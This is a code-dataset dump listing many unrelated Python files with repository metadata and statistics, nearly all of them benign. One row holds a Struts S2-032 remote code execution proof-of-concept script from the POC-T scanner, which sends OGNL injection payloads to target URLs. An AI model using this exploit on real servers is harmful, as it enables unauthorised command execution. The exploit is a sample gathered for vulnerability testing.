| 17.8 | 22 | 0.730337 | 12 | 89 | 5.416667 | 0.5 | 0.461538 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.179775 | 89 | 4 | 23 | 22.25 | 0.890411 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 5 |
2928d56eccebbda3b3a47ab60ff5a6fc172c3fa7 | 115 | py | Python | widgetmark/cli/__init__.py | fabianSorn/widgetmark | 93adf4ac15606036b2c64a871ea8ae1eb145a2ba | [
"MIT"
] | null | null | null | widgetmark/cli/__init__.py | fabianSorn/widgetmark | 93adf4ac15606036b2c64a871ea8ae1eb145a2ba | [
"MIT"
] | null | null | null | widgetmark/cli/__init__.py | fabianSorn/widgetmark | 93adf4ac15606036b2c64a871ea8ae1eb145a2ba | [
"MIT"
] | null | null | null | """Package containing the command line interface for widget-mark"""
from .__main__ import main
from .cli import CLI | 38.333333 | 67 | 0.791304 | 17 | 115 | 5.117647 | 0.764706 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.130435 | 115 | 3 | 68 | 38.333333 | 0.87 | 0.530435 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
297c11770c95b14d2213c41a383d29386d01d1ff | 1,233 | py | Python | src/sdh/BaseSdh.py | damboeckmaxi/som-visualization-sdh-variants | 2b6775674dca51ff4a68e03e6798fe6f5fe661f3 | [
"MIT"
] | null | null | null | src/sdh/BaseSdh.py | damboeckmaxi/som-visualization-sdh-variants | 2b6775674dca51ff4a68e03e6798fe6f5fe661f3 | [
"MIT"
] | null | null | null | src/sdh/BaseSdh.py | damboeckmaxi/som-visualization-sdh-variants | 2b6775674dca51ff4a68e03e6798fe6f5fe661f3 | [
"MIT"
] | null | null | null | import pandas as pd
from scipy.spatial import distance
def _get_df_from_weight_vectors(weight_vectors):
return pd.DataFrame().reindex_like(weight_vectors)
def _calc_distances_vector_to_weight_vectors(vector, weight_vectors):
return weight_vectors.applymap(lambda x: _calc_vector_distance(x, vector))
def _c... | 33.324324 | 93 | 0.721006 | 160 | 1,233 | 5.225 | 0.39375 | 0.202153 | 0.08134 | 0.035885 | 0.133971 | 0.08134 | 0 | 0 | 0 | 0 | 0 | 0.006091 | 0.201135 | 1,233 | 36 | 94 | 34.25 | 0.84264 | 0.115977 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.027778 | 0 | 1 | 0.26087 | false | 0 | 0.086957 | 0.173913 | 0.608696 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 5 |
46203a6ae86e0f1e1ba3e8b6226460543384c7b5 | 22 | py | Python | tccli/services/smpn/v20190822/__init__.py | zyh911/tencentcloud-cli | dfc5dbd660d4c60d265921c4edc630091478fc41 | [
"Apache-2.0"
] | null | null | null | tccli/services/smpn/v20190822/__init__.py | zyh911/tencentcloud-cli | dfc5dbd660d4c60d265921c4edc630091478fc41 | [
"Apache-2.0"
] | null | null | null | tccli/services/smpn/v20190822/__init__.py | zyh911/tencentcloud-cli | dfc5dbd660d4c60d265921c4edc630091478fc41 | [
"Apache-2.0"
] | null | null | null | version = "2019-08-22" | 22 | 22 | 0.681818 | 4 | 22 | 3.75 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.4 | 0.090909 | 22 | 1 | 22 | 22 | 0.35 | 0 | 0 | 0 | 0 | 0 | 0.434783 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
4660e2be727dd7aac2e06ef15e118002ed27a493 | 5,046 | py | Python | migrations/versions/0cf78227007d_.py | CAUCHY2932/mark_py3 | 6b4957e127f76d30c55e07109d5d815c3d592a8b | [
"BSD-3-Clause"
] | null | null | null | migrations/versions/0cf78227007d_.py | CAUCHY2932/mark_py3 | 6b4957e127f76d30c55e07109d5d815c3d592a8b | [
"BSD-3-Clause"
] | 7 | 2021-03-19T03:42:17.000Z | 2022-03-11T23:59:35.000Z | migrations/versions/0cf78227007d_.py | CAUCHY2932/mark_py3 | 6b4957e127f76d30c55e07109d5d815c3d592a8b | [
"BSD-3-Clause"
] | null | null | null | """empty message
Revision ID: 0cf78227007d
Revises:
Create Date: 2019-09-12 11:07:08.974587
"""
from alembic import op
import sqlalchemy as sa
# revision identifiers, used by Alembic.
revision = '0cf78227007d'
down_revision = None
branch_labels = None
depends_on = None
def upgrade():
# ### commands auto gene... | 45.872727 | 111 | 0.684701 | 674 | 5,046 | 4.991098 | 0.137982 | 0.11415 | 0.182818 | 0.21849 | 0.821344 | 0.772592 | 0.719976 | 0.678656 | 0.497027 | 0.470868 | 0 | 0.022232 | 0.126437 | 5,046 | 109 | 112 | 46.293578 | 0.740926 | 0.056084 | 0 | 0.340659 | 0 | 0 | 0.18959 | 0.0146 | 0 | 0 | 0 | 0 | 0 | 1 | 0.021978 | false | 0.010989 | 0.021978 | 0 | 0.043956 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
469d93d89a8f8f2ef2f1eaa525bc625bb6b824d4 | 163 | py | Python | pwnlib/data/elf/__init__.py | DrKeineLust/pwntools | 415f11bba7096b7d68fe144f5b3432b9c12a4f0a | [
"MIT"
] | 7 | 2017-07-11T01:12:02.000Z | 2017-09-21T23:39:54.000Z | pwnlib/data/elf/__init__.py | DrKeineLust/pwntools | 415f11bba7096b7d68fe144f5b3432b9c12a4f0a | [
"MIT"
] | null | null | null | pwnlib/data/elf/__init__.py | DrKeineLust/pwntools | 415f11bba7096b7d68fe144f5b3432b9c12a4f0a | [
"MIT"
] | 3 | 2018-03-21T11:48:05.000Z | 2021-10-16T15:38:01.000Z | from __future__ import absolute_import
from pwnlib.data.elf import relro
import os
path = os.path.dirname(__file__)
def get(x):
return os.path.join(path, x)
| 18.111111 | 38 | 0.760736 | 27 | 163 | 4.259259 | 0.62963 | 0.156522 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.147239 | 163 | 8 | 39 | 20.375 | 0.827338 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.166667 | false | 0 | 0.5 | 0.166667 | 0.833333 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 5 |
46ac398b29d1b75df145673ec8a8975cc1a0c860 | 151 | py | Python | quilljs_example/example/admin.py | muke5hy/django-quill | 16250b9c9418907123c8b40ddc66523af5d4e4d4 | [
"BSD-3-Clause"
] | 11 | 2019-02-20T08:58:43.000Z | 2021-01-03T16:41:07.000Z | quilljs_example/example/admin.py | muke5hy/django-quill | 16250b9c9418907123c8b40ddc66523af5d4e4d4 | [
"BSD-3-Clause"
] | null | null | null | quilljs_example/example/admin.py | muke5hy/django-quill | 16250b9c9418907123c8b40ddc66523af5d4e4d4 | [
"BSD-3-Clause"
] | 3 | 2019-10-08T18:04:01.000Z | 2020-11-02T12:15:03.000Z | from django.contrib import admin
from quilljs.admin import QuillAdmin
from .models import ExampleModel
admin.site.register(ExampleModel, QuillAdmin)
| 21.571429 | 45 | 0.84106 | 19 | 151 | 6.684211 | 0.578947 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.10596 | 151 | 6 | 46 | 25.166667 | 0.940741 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.75 | 0 | 0.75 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
d3c6aae2a16b50da7012d4e24407dd5d7c424f54 | 45,907 | py | Python | pyinsteon/protocol/command_to_msg.py | michaeldavie/pyinsteon | e5b2e2910f4eff1474f158051fa71f75c2077dd6 | [
"MIT"
] | null | null | null | pyinsteon/protocol/command_to_msg.py | michaeldavie/pyinsteon | e5b2e2910f4eff1474f158051fa71f75c2077dd6 | [
"MIT"
] | null | null | null | pyinsteon/protocol/command_to_msg.py | michaeldavie/pyinsteon | e5b2e2910f4eff1474f158051fa71f75c2077dd6 | [
"MIT"
] | null | null | null | """Create a topic and a direct message."""
import logging
from math import ceil
from .. import pub
from ..address import Address
from ..constants import RampRate
from ..utils import subscribe_topic
from ..topics import (
ASSIGN_TO_ALL_LINK_GROUP,
ASSIGN_TO_COMPANION_GROUP,
BRIGHTEN_ONE_STEP,
DELETE_FRO... | 35.864844 | 88 | 0.772627 | 6,367 | 45,907 | 5.138527 | 0.042563 | 0.109118 | 0.073173 | 0.092429 | 0.787694 | 0.745545 | 0.729009 | 0.720604 | 0.701745 | 0.680289 | 0 | 0.010395 | 0.134533 | 45,907 | 1,279 | 89 | 35.892885 | 0.813068 | 0.120461 | 0 | 0.334091 | 0 | 0 | 0.001737 | 0 | 0 | 0 | 0.003022 | 0 | 0 | 1 | 0.145455 | false | 0 | 0.014773 | 0 | 0.160227 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
3103bc6ebf531fe343ad9222e389780270e2ceee | 129 | py | Python | ex030.py | almmessias/CursoPython | 4cec6946f32002cbd5d3b802df11ea1ba74169f5 | [
"MIT"
] | null | null | null | ex030.py | almmessias/CursoPython | 4cec6946f32002cbd5d3b802df11ea1ba74169f5 | [
"MIT"
] | null | null | null | ex030.py | almmessias/CursoPython | 4cec6946f32002cbd5d3b802df11ea1ba74169f5 | [
"MIT"
] | null | null | null | n = int ( input ('Digite um número: '))
if (n % 2) == 0:
print ('Esse número é par')
else:
print ('Esse número é impar')
| 21.5 | 39 | 0.55814 | 21 | 129 | 3.428571 | 0.714286 | 0.25 | 0.416667 | 0.444444 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.021053 | 0.263566 | 129 | 5 | 40 | 25.8 | 0.736842 | 0 | 0 | 0 | 0 | 0 | 0.418605 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.4 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
3106f2d2df6bd80a4648fc7bd3a0bbf334551e86 | 99 | py | Python | apps/coordinator/admin.py | rohitmaurya-png/EventManager | b01d45f0ee1856c2a088a3f61a973c453b741fd6 | [
"MIT"
] | 1 | 2022-03-27T01:02:29.000Z | 2022-03-27T01:02:29.000Z | apps/coordinator/admin.py | rohitmaurya-png/EventManager | b01d45f0ee1856c2a088a3f61a973c453b741fd6 | [
"MIT"
] | null | null | null | apps/coordinator/admin.py | rohitmaurya-png/EventManager | b01d45f0ee1856c2a088a3f61a973c453b741fd6 | [
"MIT"
] | 3 | 2021-04-20T08:27:31.000Z | 2022-02-18T09:30:48.000Z | from django.contrib import admin
from .models import Coordinator
admin.site.register(Coordinator) | 19.8 | 32 | 0.838384 | 13 | 99 | 6.384615 | 0.692308 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.10101 | 99 | 5 | 33 | 19.8 | 0.932584 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.666667 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
310933401225515f9ff7b553ea55e2ccd352af98 | 876 | py | Python | AdventOfCode2020/Day 3/Day3.py | MattTitmas/AdventOfCode | 36be4f6bf973f77ff93b08dc69c977bb11951f27 | [
"MIT"
] | null | null | null | AdventOfCode2020/Day 3/Day3.py | MattTitmas/AdventOfCode | 36be4f6bf973f77ff93b08dc69c977bb11951f27 | [
"MIT"
] | null | null | null | AdventOfCode2020/Day 3/Day3.py | MattTitmas/AdventOfCode | 36be4f6bf973f77ff93b08dc69c977bb11951f27 | [
"MIT"
] | null | null | null | def Part1():
File = open("Input.txt").read().split("\n")
Order = [3,1]
CurrentLocation = [0,0]
Trees = 0
while (CurrentLocation[1] < len(File)-1):
CurrentLocation[1] += Order[1]
CurrentLocation[0] += Order[0]
if File[CurrentLocation[1]][CurrentLocation[0] % 31] == "#":
... | 21.9 | 72 | 0.522831 | 104 | 876 | 4.403846 | 0.278846 | 0.244541 | 0.18559 | 0.069869 | 0.733624 | 0.733624 | 0.733624 | 0.620087 | 0.620087 | 0.620087 | 0 | 0.072816 | 0.294521 | 876 | 39 | 73 | 22.461538 | 0.668285 | 0 | 0 | 0.592593 | 0 | 0 | 0.027397 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.074074 | false | 0 | 0 | 0 | 0.148148 | 0.074074 | 0 | 0 | 0 | null | 1 | 1 | 0 | 0 | 1 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
31307282242d182e3d00869c16a2436fb3e033b7 | 146 | py | Python | tools/lint/lib/check.py | Acidburn0zzz/test262 | 4ea2931f169d4a4b5a9a4a7c731cc92bf7b3e13c | [
"BSD-3-Clause"
] | 1 | 2017-07-17T03:21:44.000Z | 2017-07-17T03:21:44.000Z | tools/lint/lib/check.py | Acidburn0zzz/test262 | 4ea2931f169d4a4b5a9a4a7c731cc92bf7b3e13c | [
"BSD-3-Clause"
] | null | null | null | tools/lint/lib/check.py | Acidburn0zzz/test262 | 4ea2931f169d4a4b5a9a4a7c731cc92bf7b3e13c | [
"BSD-3-Clause"
] | null | null | null | class Check(object):
'''Base class for defining linting checks.'''
ID = None
def run(self, name, meta, source):
return True
| 20.857143 | 50 | 0.609589 | 19 | 146 | 4.684211 | 0.947368 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.273973 | 146 | 6 | 51 | 24.333333 | 0.839623 | 0.273973 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0 | 0.25 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 5 |
3162b8fb096ea28c75741d948689f43b7910689f | 151 | py | Python | xls2xml/xls2xml/__init__.py | sundarvenkata-EBI/amp-t2d-submissions | 96f36fc304345919363b2f587770371c1c97560b | [
"Apache-2.0"
] | null | null | null | xls2xml/xls2xml/__init__.py | sundarvenkata-EBI/amp-t2d-submissions | 96f36fc304345919363b2f587770371c1c97560b | [
"Apache-2.0"
] | null | null | null | xls2xml/xls2xml/__init__.py | sundarvenkata-EBI/amp-t2d-submissions | 96f36fc304345919363b2f587770371c1c97560b | [
"Apache-2.0"
] | null | null | null | from MetadataValidator import MetadataValidator
from Reader import Reader
from XLSReader import XLSReader
from TSVReader import TSVReader
import utils
| 25.166667 | 47 | 0.880795 | 18 | 151 | 7.388889 | 0.388889 | 0.225564 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.119205 | 151 | 5 | 48 | 30.2 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 5 |
317aff07d4bf5dcc1d81e72d7388fbdea499eefc | 43 | py | Python | tests/__init__.py | theFork/python-wled | 746422c5e599a39220ad2a44da15d4a1b1d2e320 | [
"MIT"
] | 53 | 2019-10-30T08:53:39.000Z | 2022-03-28T03:14:23.000Z | tests/__init__.py | theFork/python-wled | 746422c5e599a39220ad2a44da15d4a1b1d2e320 | [
"MIT"
] | 559 | 2019-10-28T22:52:00.000Z | 2022-03-31T14:00:50.000Z | tests/__init__.py | theFork/python-wled | 746422c5e599a39220ad2a44da15d4a1b1d2e320 | [
"MIT"
] | 16 | 2019-11-21T22:42:29.000Z | 2022-03-07T10:21:26.000Z | """Asynchronous Python client for WLED."""
| 21.5 | 42 | 0.72093 | 5 | 43 | 6.2 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.116279 | 43 | 1 | 43 | 43 | 0.815789 | 0.837209 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
31b10b9a31e6c589ed37709cb328d38c5459ee55 | 334 | py | Python | web/transiq/datacollection/admin.py | manibhushan05/transiq | 763fafb271ce07d13ac8ce575f2fee653cf39343 | [
"Apache-2.0"
] | null | null | null | web/transiq/datacollection/admin.py | manibhushan05/transiq | 763fafb271ce07d13ac8ce575f2fee653cf39343 | [
"Apache-2.0"
] | 14 | 2020-06-05T23:06:45.000Z | 2022-03-12T00:00:18.000Z | web/transiq/datacollection/admin.py | manibhushan05/transiq | 763fafb271ce07d13ac8ce575f2fee653cf39343 | [
"Apache-2.0"
] | null | null | null | # from django.contrib import admin
#
# from . import models
#
# admin.site.register(models.VehicleTempData)
# admin.site.register(models.OthersTempData)
# admin.site.register(models.TransporterTempData)
# admin.site.register(models.OwnerTempData)
# admin.site.register(models.BookingAgent)
# admin.site.register(models.B... | 33.4 | 49 | 0.805389 | 38 | 334 | 7.078947 | 0.368421 | 0.200743 | 0.379182 | 0.513011 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.068862 | 334 | 10 | 50 | 33.4 | 0.864952 | 0.94012 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
31ba4eb7db8814299e88a0dcc895039a01392bc5 | 314 | py | Python | output/models/ms_data/errata10/err_e006_xsd/__init__.py | tefra/xsdata-w3c-tests | b6b6a4ac4e0ab610e4b50d868510a8b7105b1a5f | [
"MIT"
] | 1 | 2021-08-14T17:59:21.000Z | 2021-08-14T17:59:21.000Z | output/models/ms_data/errata10/err_e006_xsd/__init__.py | tefra/xsdata-w3c-tests | b6b6a4ac4e0ab610e4b50d868510a8b7105b1a5f | [
"MIT"
] | 4 | 2020-02-12T21:30:44.000Z | 2020-04-15T20:06:46.000Z | output/models/ms_data/errata10/err_e006_xsd/__init__.py | tefra/xsdata-w3c-tests | b6b6a4ac4e0ab610e4b50d868510a8b7105b1a5f | [
"MIT"
] | null | null | null | from output.models.ms_data.errata10.err_e006_xsd.err_e006 import (
Root,
TestDate,
TestGday,
TestGmonth,
TestGmonthDay,
TestGyear,
TestGyearMonth,
)
__all__ = [
"Root",
"TestDate",
"TestGday",
"TestGmonth",
"TestGmonthDay",
"TestGyear",
"TestGyearMonth",
]
| 15.7 | 66 | 0.624204 | 27 | 314 | 6.962963 | 0.666667 | 0.074468 | 0.212766 | 0.319149 | 0.702128 | 0.702128 | 0.702128 | 0 | 0 | 0 | 0 | 0.034188 | 0.254777 | 314 | 19 | 67 | 16.526316 | 0.769231 | 0 | 0 | 0 | 0 | 0 | 0.210191 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.055556 | 0 | 0.055556 | 0 | 1 | 0 | 0 | null | 0 | 1 | 1 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
31c2791f6e0ce9b196b8721aaea625fd847d4311 | 87 | py | Python | API connect.py | islamamer666/Wikibooks_ETL_Pipeline | 5317cee7fe9e01638f78d348387ae9f20c4d5d4e | [
"MIT"
] | null | null | null | API connect.py | islamamer666/Wikibooks_ETL_Pipeline | 5317cee7fe9e01638f78d348387ae9f20c4d5d4e | [
"MIT"
] | null | null | null | API connect.py | islamamer666/Wikibooks_ETL_Pipeline | 5317cee7fe9e01638f78d348387ae9f20c4d5d4e | [
"MIT"
] | null | null | null | import kaggle
kaggle datasets list -s Wikibooks
kaggle datasets download -h Wikibooks | 29 | 37 | 0.827586 | 12 | 87 | 6 | 0.666667 | 0.388889 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.149425 | 87 | 3 | 37 | 29 | 0.972973 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.333333 | null | null | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 5 |
31e56d35d9f04d5131c7f24410a1c5347487b7c7 | 167 | py | Python | ariadne_django/apps.py | drewsynan/ariadne_django | 836b783a7240eed0ee03b7db1bbb7c5ff2843fb4 | [
"BSD-3-Clause"
] | 34 | 2021-04-08T15:36:14.000Z | 2022-03-22T14:30:28.000Z | ariadne_django/apps.py | drewsynan/ariadne_django | 836b783a7240eed0ee03b7db1bbb7c5ff2843fb4 | [
"BSD-3-Clause"
] | 34 | 2021-04-08T02:17:25.000Z | 2022-03-22T12:25:41.000Z | ariadne_django/apps.py | drewsynan/ariadne_django | 836b783a7240eed0ee03b7db1bbb7c5ff2843fb4 | [
"BSD-3-Clause"
] | 11 | 2021-04-08T16:47:36.000Z | 2022-03-26T23:25:39.000Z | from django.apps import AppConfig
class AriadneDjangoConfig(AppConfig):
name = "ariadne_django"
label = "ariadne_django"
verbose_name = "ariadne_django"
| 20.875 | 37 | 0.748503 | 18 | 167 | 6.722222 | 0.611111 | 0.322314 | 0.280992 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.173653 | 167 | 7 | 38 | 23.857143 | 0.876812 | 0 | 0 | 0 | 0 | 0 | 0.251497 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.2 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 5 |
7335333395e090cc4258992f469e418dfa37f8c1 | 2,723 | py | Python | script/struts2-s2032.py | gaoming136692/POC-T | 509d08cbaaced12bf9bc9aa9dd0748abc73a3c37 | [
"DOC"
] | 6 | 2019-01-20T08:34:30.000Z | 2021-09-14T15:47:42.000Z | script/struts2-s2032.py | gaoming136692/POC-T | 509d08cbaaced12bf9bc9aa9dd0748abc73a3c37 | [
"DOC"
] | null | null | null | script/struts2-s2032.py | gaoming136692/POC-T | 509d08cbaaced12bf9bc9aa9dd0748abc73a3c37 | [
"DOC"
] | 4 | 2019-10-01T01:18:40.000Z | 2021-10-01T12:02:20.000Z | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# author = i@cdxy.me
# project = https://github.com/Xyntax/POC-T
"""
Struts S2-032 RCE PoC
Usage:
python POC-T.py -T -m struts2-s2032 -f [file]
"""
import random
import requests
def poc(url):
try:
if '://' not in url:
url = 'http://' + url
... | 48.625 | 115 | 0.558942 | 401 | 2,723 | 3.773067 | 0.428928 | 0.145406 | 0.174488 | 0.179775 | 0.188367 | 0.139458 | 0.130205 | 0.130205 | 0.1269 | 0.083278 | 0 | 0.204423 | 0.252663 | 2,723 | 55 | 116 | 49.509091 | 0.539066 | 0.040764 | 0 | 0 | 0 | 0.315789 | 0.576527 | 0.531721 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.052632 | null | null | 0.105263 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
7dfa03ac9da7432d0763fe59ca5db422cf7de779 | 58 | py | Python | happy_bittorrent/algorithms/__init__.py | Pewpews/happy-bittorrent | 0c0786c2491ff62f77b6c3bd33e3648daffc0537 | [
"MIT"
] | null | null | null | happy_bittorrent/algorithms/__init__.py | Pewpews/happy-bittorrent | 0c0786c2491ff62f77b6c3bd33e3648daffc0537 | [
"MIT"
] | null | null | null | happy_bittorrent/algorithms/__init__.py | Pewpews/happy-bittorrent | 0c0786c2491ff62f77b6c3bd33e3648daffc0537 | [
"MIT"
] | null | null | null | from happy_bittorrent.algorithms.torrent_manager import *
| 29 | 57 | 0.87931 | 7 | 58 | 7 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.068966 | 58 | 1 | 58 | 58 | 0.907407 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
b41b1c2c6bbb707161f448c2ffcfcfef060f8b42 | 752 | py | Python | server/swagger_server/models/__init__.py | fabric-testbed/UserInformationService | 3e4a850c67f39e188f7571a044721ad102987e2f | [
"MIT"
